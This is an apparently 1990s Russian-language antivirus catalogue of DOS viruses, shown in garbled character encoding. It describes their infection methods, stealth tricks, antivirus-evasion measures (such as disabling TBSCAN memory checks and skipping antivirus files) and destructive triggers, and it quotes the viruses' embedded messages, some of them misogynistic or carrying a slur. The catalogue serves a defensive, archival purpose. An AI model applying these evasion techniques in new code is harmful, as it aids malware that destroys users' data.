ÞÜÞßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c) v1. 1990 ÝÞ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßßßßßßßßßßßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c) v1. 19Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßßßßßßßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c) v1Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßßßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c)Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoftÞ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruÞ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USÞ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Hypervisor.3120, 3128
Îïàñíûå ðåçèäåíòíûå âèðóñû. Îïðåäåëÿþò íàëè÷èå ëîêàëüíîé ñåòè è
ïðåäïðèíèìàåò ïîïûòêè "âçëîìà" ñåòè Novell. Ñîäåðæàò òåêñòû:
HYPERVISOR
SECURITY_EQUALS
SUPERVISOR
GROUPS_I'M_IN
PASSWORD
IDENTIFICATION
IDENTIFICATIONThe
Hypervisor
LOGIN_CONTROL
SYS:SYSTEM/SYS:LOGIN/
NET$BIND.SYS NET$BVAL.SYS NET$OBJ.SYS NET$PROP.SYS NET$VAL.SYS
SECURITY_EQUALS
SUPERVISOR
GROUPS_I'M_IN
PASSWORD
IDENTIFICATION
IDENTIFICATIONThe
LOGIN_CONTROL
Hypnotiser.1784
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Óíè÷òîæàåò ôàéëû chklist.ms.
Íå àêòèâèçèðóåòñÿ ïðè çàïóñêå â DOS-ñåññèè MS-Windows, à òàêæå ïûòàåòñÿ
óäàëèòü ñâîþ êîïèþ èç ïàìÿòè ïðè çàïóñêå Windows. 10 ÷èñëà ìåñÿöà
âûâîäèò íà ýêðàí "ðàäóæíûå" êàðòèíêè è ñëîâî "HYPNOTiSER". Ñîäåðæèò
òåêñò "HYPNOTiSER. By bQ".
Hzp.512
Ñîäåðæèò ñòðîêó "ANVLDShzpfym01".
Ice.659
Ñîäåðæèò ñòðîêó "Mohova N.I. is my love!Ice".
Ice.734
Äîâîëüíî ÷àñòî îðèãèíàëüíûì îáðàçîì ñòèðàåò ïîñëåäîâàòåëüíî â êàæäîì
ñòîëáöå ýêðàíà âñå áóêâû è öèôðû.
Ice.746
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 10h, 21h. Ïðè
âûâîäå ñèìâîëîâ íà ýêðàí (f.9 Int 10h) ïåðèîäè÷åñêè óäâàèâàåò èëè
óòðàèâàåò êîëè÷åñòâî âûâîäèìûõ ñèìâîëîâ. À òàêæå ïîðòèò ïåðâûé áàéò
ñëó÷àéíûõ ñåêòîðîâ òåêóùåãî äèñêà. Ñîäåðæèò òåêñò "Ice".
Iceland.848
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò êàæäûé 10 ñòàðòóþùèé EXE-ôàéë. 24
äåêàáðÿ âûâîäèò íà ýêðàí òåêñò "GleÌileg jâl".
Ida.1490
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïûòàåòñÿ íàéòè íà ýêðàíå ñëîâî
"VERA" è ìåíÿåò åãî íà "IVeronika !". Ñîäåðæèò òåêñò "[IDA] v0.01
Serg_Enigma".
Ieronim.512, 560, 570, 600, 1020, 1024, 1166, 1492, 1596, 2000, 2539
 íà÷àëå êàæäîãî ÷àñà âûâîäÿò íà ëàòûíè èëè íà àíãëèéñêîì ÿçûêå òåêñò
(Ieronim.512, 560, 570, 600 òîëüêî íà ëàòûíè):
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
¦ Mulier pulchra est janua diaboli, º
¦ via iniquitatis,scorpionis percussio.º
¦ St. Ieronim º
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
¦Beautiful woman is a devil's entrance,º
¦a way of misfortunes,a scorpion's biteº
¦ St. Ieronim º
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ
Ieronim.1492, 1596, 2000, 2539 ïðè ñòàðòå ïðîãðàììû AIDSTEST.EXE
âûâîäÿò íà ýêðàí òåêñò:
- infected (aidstest.exe) - CURED
Ìîãóò ñîçäàòü ôàéë dirinfo, ñîäåðæàùèé îáðûâêè òåêñòà, ïðèïèñûâàåìîãî
ñâÿòîìó Èåðîíèìó.
Ieronim.1082
Ïðè íàæàòèè íà êëàâèøó F1 âûâîäèò íà ýêðàí:
ÉÍÍÍÍÍÍÍÍÍÍÍ»
º º
º ÏOMOÃÈTE! º
º º
ÈÍÍÍÍÍÍÍÍÍÍͼ
Ïðè 4îì íàæàòèè íà F1 ïîÿâëÿåòñÿ òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍ»
º º
º ÏOMOÃÈTE! º
º º
ÈÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º
º Ñëóøàé, äîpîãîé, îòñòàíü, ïîæàëóéñòà! º
º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
À ïðè 5îì íàæàòèè íà F1:
ÉÍÍÍÍÍÍÍÍÍÍÍ»
º º
º ÏOMOÃÈTE! º
º º
ÈÍÍÍÍÍÍÍÍÍÍͼ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º º
º Ëîçèíñêèé òåáå ïîìîæåò! º
º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ieronim.1581
Èíîãäà âûâîäèò íà ýêðàí "ðîìàíòè÷åñêóþ áàëëàäó":
Le voyage de condom
Pîìàíòè÷åñêàÿ áàëëàäà
Èñïîëüçîâàííûå ïpåçåpâàòèâû Î,ñêîëüêî èõ,èçäåëèé èç påçèíû,
Ïëûâóò íåñïåøíî ïî Ìîñêâå-påêå. Ïîãëîòÿò áåçäíû ìpà÷íûå ìîpåé!
 âîäå èõ ëîâÿò êîîïåpàòèâû Íî,ïî âîëíàì ñêèòàÿñü íåïpåñòàííî
È ñóøàò çà óãëîì íåâäàëåêå Íå âñåì òîíóòü - êîìó-òî è âñïëûâàòü...
È ñíîâà ïpîäàþò,è áóäóò äîëãî Îäèí èç íèõ äîñòèãíåò îêåàíà
Ïpåïÿòñòâîâàòü pîæäåíèþ äåòåé... È ñòàíåò âîêpóã ñâåòà äpåéôîâàòü...
Íî â ñpîê ïîëîæåííûé âïàäàþò â Âîëãó È áóäåò ïóòü åãî òåpíèñò è äîëîã,
Áópæóéñêèõ èçáåæàâøèå ñåòåé. È â íî÷ü,êîãäà ìóññîííûé ëèâåíü ëüåò,
Èõ pûáû æpóò,èõ ÷àéêè æpóò,è âñêîpå Åãî ïîéìàåò òpàëîì èõòèîëîã,
Ñäûõàþò îò çàêóïîpêè êèøêè... ×òî ïÿòûé äåíü,íå ïpîñûõàÿ,ïüåò.
Íî óöåëåâøèå âïàäàþò â ìîpå, È âíÿòíûé ãîëîñ ìóçû îí óñëûøèò,
Êà÷àÿñü íà âîëíàõ,êàê ïîïëàâêè. È,îùóùàÿ òâîp÷åñêèé ïîpûâ,
Íåïòóí êîëåáëåò çûáêèå ãëóáèíû, Ñåé÷àñ æå äèññåpòàöèþ íàïèøåò
È ãîíèò òó÷è ïî íåáó Áîpåé... Íà òåìó:"Êîíòpàöåïöèÿ ó pûá".
Ighty.1156
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 31 ÷èñëà âåøàåò ñèñòåìó.
Implant.6182
Îïàñíûé ïîëèìîðôíûé ôàéëîâî-çàãðóçî÷íûé ñòåëñ-âèðóñ. Çàðàæàåò COM, EXE,
SYS-ôàéëû, MBR ïåðâîãî æåñòêîãî äèñêà è çàãðóçî÷íûå ñåêòîðà äèñêåò. Ïðè
çàðàæåíèè ôëîïïè-äèñêîâ âèðóñ ôîðìàòèðóåò äîïîëíèòåëüíóþ äîðîæêó äëÿ
ðàçìåùåíèÿ èñõîäíîãî çàãðóçî÷íîãî ñåêòîðà è ñâîåãî ïðîäîëæåíèÿ. Ïðè
ñòàðòå ïðîãðàìì AR*.*, PK*.*, LH*.*, BA*.* (ARJ, PKZIP, LHA è BACKUP)
âèðóñ âûêëþ÷àåò ñâîé ñòåëñ-ðåæèì. Ïðè ñòàðòå ïðîãðàììû WIN.COM, âèðóñ
äîáàâëÿåò â åå êîìàíäíóþ ñòðîêó ïàðàìåòð /D:F (îòêëþ÷åíèå 32-áèòíîãî
äîñòóïà ê äèñêó). Åñëè ñòàðòóåò ïðîãðàììà TBSCAN, òî âèðóñ äîáàâëÿåò â
êîìàíäíóþ ñòðîêó ïàðàìåòðû "co" è "nm", êîòîðûå îòêëþ÷àþò ïðÿìîé äîñòóï
ê äèñêó (compability mode) è ïðîâåðêó ïàìÿòè. Âèðóñ íå çàðàæàåò ôàéëû
TB*.*, SC*.*, F-*.*, GU*.*, à òàêæå ôàéëû â èìåíàõ êîòîðûõ ïðèñóòñòâóþò
áóêâû "V", "MO", "IO", "DO", "IB" è öèôðû 0-9. Âèðóñ îòêàçûâàåò â
äîñòóïå ê ôàéëàì CHKLIS*.*. 4 èþíÿ âèðóñ ïûòàåòñÿ óíè÷òîæèòü ñîäåðæèìîå
íóëåâîé äîðîæêè (íî ýòî åìó íå óäàåòñÿ èç-çà îøèáêè) è âûâîäèò
ñîîáùåíèå:
<<< SuckSexee Automated Intruder >>>
Viral Implant Bio-Coded by Griyo/29A
IOerror.516
Çàïèñûâàåò ñâîþ TSR-êîïèè â îáëàñòü âèäåîïàìÿòè F9B4:0000. Åñëè ïðè
çàðàæåíèè ôàéëà ïðîèñõîäèò îøèáêà ââîäà-âûâîäà, òî âèðóñ âûâîäèò
ñîîáùåíèå "IO_error".
Innoxious.1351
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå îêòÿáðÿ 1995 ãîäà âûâîäèò òåêñò:
Innoxious Bug 2.02 'The Sad Flasher' (c) 1994-95 Bugsoft-IU7, MSTU, Moscow.
We offer our apologies for possible data destruction.
Inoculation.1786, 1819
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñàìè ñåáÿ îòíîñÿò ê êëàññó "àíòèâèðóñîâ".
Ïðè çàðàæåíèè ôàéëîâ, óæå èíôèöèðîâàííûõ âèðóñàìè Inoculation, ýòè
âèðóñû ïûòàþòñÿ óäàëèòü èç ôàéëîâ "íîâîÿâëåííûõ ãîñòåé". Ïåðåõâàòûâàþò
INT 2Fh. Ïðè çàïóñêå ïðîãðàììû SCAN âèðóñû âûâîäÿò òåêñò:
AntiVirus
If your software has been
inflected by other viruses,
run your software, then the
virus will be cleaned !
THANK YOU!
--Mr. MeiHua--
Int10
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. "Ïåðåõâàòûâàåò" INT 10h, 13h, 1Ch. Â
äåêàáðå ïðîèçâîäèò íåêèé âèäåîýôôåêò, ïîõîæèé íà çâåçäíîå íåáî.
Int12
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè çàãðóçî÷íûõ ñåêòîðîâ äèñêîâ
ïðîèçâîäèò ïîèñê ñòðîêè "NON-SYSTEM DISK", íàïèñàííóþ, êàê çàãëàâíûìè,
òàê è ïðîïèñíûìè áóêâàìè. È ñðàçó çà ýòîé ñòðîêîé âèðóñ çàïèñûâàåò 40
áàéò ñâîåãî êîäà, êîòîðûé "ïåðåõâàòûâàåò" INT 12h è ÷èòàåò â ïàìÿòü
ïîñëåäíèé ñåêòîð äèñêà. Â ýòîò ïîñëåäíèé ñåêòîð âèðóñ çàïèñûâàåò ñâîé
îñíîâíîé êîä. Âèðóñíûé îáðàáîò÷èê INT 12h ïðîèçâîäèò "ïåðåõâàò" INT 13h
è "îñâîáîæäåíèå" ðàíåå çàõâà÷åííîãî INT 12h. Âèðóñ ñîäåðæèò ñòðîêó
"LOVE".
Int13
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 13h, INT 21h. Çàïèñûâàåò
ñâîé êîä â íà÷àëî ïðîãðàìì, ïðè÷åì îðèãèíàëüíîå íà÷àëî ôàéëîâ ìîæåò
áûòü óòåðÿíî. Êàê ïðàâèëî, âîññòàíîâèòü èíôèöèðîâàííûå ôàéëû íå
ïðåäîñòàâëÿåòñÿ âîçìîæíûì. Âíóòðè èìååòñÿ ñòðîêà "Int 13".
IntC1
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ âî âòîðîé
ïîëîâèíå òàáëèöû âåêòîðîâ ïðåðûâàíèé. Äëÿ çàðàæåíèÿ ôëîïïè-äèñêîâ
"ïåðåíàçíà÷àåò" âåêòîð INT 40h íà INT 0C1h.
IntCE
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïîñëå 120 çàãðóçîê ñ æåñòêîãî äèñêà
óíè÷òîæàåò ñëó÷àéíûå ñåêòîðà æåñòêîãî äèñêà.
Internal.1381, 1459
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Èíîãäà ìîãóò ïðîèçâåñòè ñàìîèçëå÷åíèå
ñòàðòîâàâøåãî ôàéëà è âûâåñòè ñðåäè íà ýêðàí "ñðåäè ìóñîðà" ñîîáùåíèå:
INTERNAL ERROR 02CH.
PLEASE CONTACT YOUR HARDWARE MANUFACTURER IMMEDIATELY !
DO NOT FORGET TO REPORT THE ERROR CODE !
Inferno.781
Îïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ìîæåò óíè÷òîæèòü MBR æåñòêîãî
äèñêà. Ñîäåðæèò òåêñò "NAME OF THIS VIRUS IS "INFERNO" NEXT VERSION
WILL BE BETTER...".
IntFF
Âî âñåé çàïèñûâàåìîé íà äèñê èíôîðìàöèè ìîæåò èçìåíÿòü
ïîñëåäîâàòåëüíîñòü áàéò 0CDh 21h (INT 21h) íà 0CDh 0FFh (INT 0FFh).
Èçìåíÿåò ñèìâîëû, ââåäåííûå ñ êëàâèàòóðû.
Invisible.2926, 3223
Îïàñíûå ïîëèìîðôíûå âèðóñû. Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû
çàðàæàþò MBR. Âèðóñíûé êîä â MBR òàêæå ÿâëÿåòñÿ ïîëèìîðôíûì. Òðàññèðóþò
INT 13h, 21h. Â çàâèñèìîñòè îò ñèñòåìíîé äàòû ìîãóò çàïèñàòü â
ñòàðòóþùèå ôàéëû 411 èëè 602 áàéò êîäà, ïðîèãðûâàþùåãî ìåëîäèþ è
âûâîäÿùåãî íà ýêðàí òåêñò ïåñíè Invisible Man:
I'm the invisible man,
I'm the invisible man,
Incredible how you can
See right through me.
I'm the invisible man,
I'm the invisible man,
It's criminal how I can
See right through you.
Ñîäåðæàò òåêñòû:
Invisible.2926 - "The Invisible Man - Written in SALERNO (ITALY),
October 1992. Dedicated to Ester: I don't know either how or when,
but I will hold you in my arms again.".
Invisible.3223 - "The Invisible Man II - Written in SALERNO (ITALY),
December 1992. Dedicated to E.F.: I don't know either how or when,
but I will hold you in my arms again.".
IronE
Íåîïàñíûé øèôðîâàííûé ñòåëñ-Boot-âèðóñ. Çàðàæàåò Boot-ñåêòîðû æåñòêèõ è
ãèáêèõ äèñêîâ. Ïåðåõâàòûâàåò INT 08, 13h, 21h, 40h. Ñîäåðæèò òåêñò
"(IronE 2.3)".
Itv.449
5 ìàÿ è 16 ñåíòÿáðÿ âûâîäèò íà ýêðàí òåêñò "Viva MÂxico!". Ñîäåðæèò
òåêñò "ITV85020203 1990.".
Itavir.3187
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîèñê è çàðàæåíèå EXE-ôàéëîâ
ïðîèçâîäèò ÷åðåç äèñêîâûå DOS ïðåðûâàíèÿ INT 25h, 26h. Óíè÷òîæàåò
ñîäåðæèìîå äèñêîâ. Ñîäåðæèò òåêñòû:
AZione radaùOMMAND COM
A:\ùOMMAND.COM 0123456789ABCDEFper questa volta.........
.......AHI..AHI..AHI.......
Ho proprio l`impressione di essere un Virus
Maligno,......
Molto maligno (naturalmente)
Non vi rimane che da azionare l`interruttore
AUGURI!!!.....................
IVP.814
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòû "XA-XA 4.0",
"A.L.S.".
IVP.April
Î÷åíü îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ.  àïðåëå âûâîäèò òåêñò:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Once again arrives April showers,
The Devil came out to use his evil powers.
He arose from his sacred den,
To forget and do one of his evil sins.
The Devil came forth to a rich occupied land,
And gathered black dark clouds from storms with his bare hands.
Strikes of lightening, large and bold,
Murdered many, from the young to old.
Creatures and critters ran for their life,
But the rushing waters drowned their lives.
"The devil has left!" cried from the joys,
Of the few remainding survivors saved by the lord.
The sunshine beamed down from the dark blue sky,
The ending of April as March came by.
The fears of April showers will always remain,
Just wait till next year, as the Devil will stike again.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
è óíè÷òîæàåò 256 ïåðâûõ ñåêòîðîâ äèñêîâ A:, B:, C:, D:, E:, F:, G:, H:,
X:, Y:, Z:. Ñîäåðæèò ñòðîêó "April-ShowersUnknowN".
Izhevsk.3474
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ìîæåò çàâåñèòü ñèñòåìó
è âûâåñòè òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ ¦
¦ Waiting for halting system... ¦
¦ ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Ñîäåðæèò òåêñòîâóþ ñòðîêó "(C) Izhevsk 1996".
J&M
Îïàñíûé çàãðóçî÷íûé âèðóñ. 15 íîÿáðÿ ôîðìàòèðóåò íóëåâóþ äîðîæêó
æåñòêîãî äèñêà. Èìååò òåêñò "J&M".
Jabber.334
Ïðè ñòàðòå âûâîäèò íà ýêðàí òåêñò "Jabberwocky attack another time".
Jain.1614
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå 13 èþíÿ â ÷åòâåðã óíè÷òîæàåò
ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà.Ñîäåðæèò ñòðîêó "12.04.1994 JAIN S.".
Jdc.5421, 6891, 7474, 7611, 7616
Jdc.5421, 7474, 7616 - íåîïàñíûå íåðåçèäåíòíûå øèôðîâàííûå âèðóñû.
Jdc.6891,7611 - îïàñíû; 1 àïðåëÿ óíè÷òîæàþò MBR, çàïèñûâàÿ â íåãî
çàãðóç÷èê ïðîãðàììû FFORMAT, à 13 àïðåëÿ ñîäåðæèìîå äèñêîâ. Èíîãäà
âûâîäÿò íà ýêðàí òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄ´ You have a VIRUS now ÃÄÄÄÄÄÄÄÄÄÄĬ Ü ° Press any key °Ü
¦ Ü ÚÂÄĬ ÚÂÄĬ ÚÂÄĬ Ú¬ Ú¬ ¬ Ü ¦ Û to continue Û
¦ ÛÛÛÜ ¦¦ ¦ ¦ÃÄ ¦ÃÄ ¦¦ À´ ¦ ÛÛÛÜ ¦ Û ßßßßßßßßßßßßßßßßßßßßßßßßß
¦ ßßßÛ ÀÁĆ٠ÀÁÄÄÙ ÀÁÄÄÙ o ÀÄÁÙ ÀÄÄÙ ßßßÛ ¦ Û
¦ ÛÛ ÂÂÄĬ ÚÂÄĬ Ú¬ ¬ ¬ ÚÂÄĬ ÚÂĬ ÛÛ ¦ Û
¦ Üß ¦¦ ¦ ¦ÃÄÂÙ ¦¦ ¦ ¦ ¦ÃÄ ¦ÃÄÁ¬ Üß ¦ Û
¦ ß ÁÁÄÄÙ ÀÙ À ÀÁÄÁÄÙ ÀÁÄÄÙ ÀÁÄÄÙ ß ¦ Û
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ Û
¦ ßßßßßßßÜßßßßßßÜ ßßßßßÜ ¦ This program ¦ Û
¦ ßßÜ ßßÜ ßßÜßßÜ ßßܦ created special ¦ Û
¦ ßßÜ ßßÜ ßßÜßßÜ ¦ for ¦ Û
¦ ßßÜ ßßÜ ßßÜ ßßÜßßÜ ßßÜÃÄÄÄ´ ]\/[ Z \/ ÃÄÄÄ´ Û
¦ ßßßßßÜ ßßßßßßÜ ßßßßßÜ ¦ Copr (c) 1997 JDC ¦ Û
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Û
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
Ò Ò Â ÄÒÄ ÖÄĬ ÒÄĬ ÖÄĬ Ò Ò Â ÖĬ · ÖÄĬ ÖÄÄÄ ÖÄĬ ÖÄĬ Ò Ò Â Ü
º º ¦ º º ¦ º ¦ º ¦ º º ¦ ÓĬ ½ ÓÄÄ´ ÓÄĬ ÄÄÄ º ¦ º ¦ º ÓÄÄ´ Û
ÓÄÐÄÙ ÄÐÄ Ð Á ÐÄÄÙ ÓÄÄÙ ÓÄÐÄÙ ÓÄÄÙ ÓÄÄÙ ÄÄÄÙ ÓÄÄÙ Ð Á ÐÄÄÙ ÓÄÄÙ Û
ÒÄĬ ÖÄĬ ÒÄĬ Ò ÖÄÄÄÄĬ ÖÄÄÒÄĬ ÒÄÄÄÄĬ ÒÄÄÄÄĬ ÖÄÄÄÄĬ Û
ÇÄ º ¦ ÇÄÂÙ º º ¦ º º ¦ º º ¦ º Û
Ð ÓÄÄÙ Ð Á º ÇÄÄÄÄÄ´ º º ¦ ÇÄÄ ÇÄÄÄÂÄÙ ÓÄÄÄÄĬ Û
º º ¦ º º ¦ º º ¦ ¦ Û
ÐÄÄÄÄÄÙ Ð Á Ð Ð Á ÐÄÄÄÄÄÙ Ð ÁÄ ÓÄÄÄÄÄÙ Û
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
Òàêæå ñîäåðæàò â ñâîåì òåëå òåêñòû:
A JDC PRODUCTION
If you want to contact us, call:
809-5100 and 809-5031
=========================================
°±²²ÛÝQEE.JV.DrWebÞÛ²±°°°°°°°°°°°°°°°°°°°
Designed for ÄÄÄ[ ]\/[ Z \/ ]ÄÄÄ(R)
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
Portions Copyright (c) 1996 XtT Co.
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[¿DC] [¿DC] [¿DC] [¿DC] [¿DC] [¿DC] [¿DC]
=========================================
___
\!/ This program uses
FSO technology
Åñòü îäèí ïðîñüá!!! Íàçîâèòå ýòîò âèðú åãî ðîäíûì èìåíåì (QEE.JV.DrWeb)...
Èëè íà õóäîé êîíåö êàê-íèáóäü òèïà QEE.JV.AntiWin95.
È åùå: ýòîò âèðóñ íå èìååò íèêàêîãî îòíîøåíèÿ ê MZV.333
---[ QEE 1.33 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
Warning: Dr.Web HA (Heuristic Analizer) not supported now.
This program requires 80386 or better.
Jdc.6891 òàêæå ñîäåðæèò è òàêèå òåêñòû:
=========================================
°±²ÛÝQEE.D-VersionÞÛ²±°°°°°°°°°°°°°°°°°°°
Designed for ÄÄÄ[ ]\/[ Z \/ ]ÄÄÄ(R)
Internal revision: 005
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
-----------------------------------------
This is D-VERSION!!! (Pre-release)
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[JDC] [JDC] [JDC] [JDC] [JDC] [JDC] [JDC]
=========================================
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.DVersion"
To I.A. Daniloff:
"Hello Igor! ß âîò òóò âåá 20ûé ñìîòðåë...
Ìåíÿ îòêðîâåííî ïðèêîëîëî, ÊÀÊ îí ëå÷èò çàðàæåííûå
PKLite'íóòûå ôàéëû. Äî 46 áàéò!!! Òîëüêî îíè ïî÷åìó-
òî íå ðàáîòàþò. Íàâåðíîå ýòî îò òîãî, ÷òî îò ôàéëîâ
îñòàåòñÿ òîëüêî áëîê ïåðåìåùåíèÿ ðàñïàêîâùèêà, äà è
òî èñïîð÷åííûé.
Íó âîò è âñå.
P.S. ×òî æ â âèðëèñòå òàê ìíîãî íàïèñàë? À ÷å, ñëàáî,
÷òî ëè, óñëîâèÿ ïðîÿâëåíèé îïðåäåëèòü? Âàôëèçì êàêîé-
òî.
P.P.S. Òàê êàê êàæäàÿ âåðñèÿ Âåáà ÷òî-íèáóäü, äà íå
òàê ëå÷èò, ïðåäëàãàþ âñå âåðñèè âåáà íàçâàòü áåòîé, è
ðàñïðîñòðàíÿòü èõ, ñîîòâåòñòâåííî, áåñïëàòíî. Êàê ÿ.
P.P.P.S. Ý-ý-ý, Èãîðü, ÿ äóìàë òû îäèí òàêîé, à âàñ,
îêàçûâàåòñÿ, äâîå. Òû, íàâåðíîå, ãîëóáîé."
===[ T·H·E E·N·D ]====================================
--[ QEE 1.42 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
Jdc.7474 ñîäåðæèò è òàêèå òåêñòû:
===[ Future ]==========================================
You will see in next version:
- Improved encryption engine [50% done]
- 2 new encryptors:
- RCG (Random Code Generator) [10% done]
- TTT (The Time Tracer) [ 0% done]
- More cool Windows'95 halter [ 0% done]
Possibly:
- Int 21h tracing
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.JV.DrWeb or QEE.JV.Anti95
or, in other case, QEE.AntiWin95. It is only first
virus from large family"
===[ Thanks ]==========================================
To: NM ( ]\/[ Z \/ ), VD (S&K, VI), DP (xxx), PP (xxx),
DZ (P), ID (P) and others...
===[ T·H·E E·N·D ]====================================
Jdc.7611 ìîæåò ñîçäàòü òðîÿíñêèé ôàéë SVGADEMO.PAS ñ çàãîëîâêîì
"{Äåìîíñòðàöèÿ SVGA-ðåæèìîâ}". Åñëè â êîìàíäíîé ñòðîêå çàäàí êëþ÷ /JDC,
òî âèðóñ âûâîäèò òåêñò:
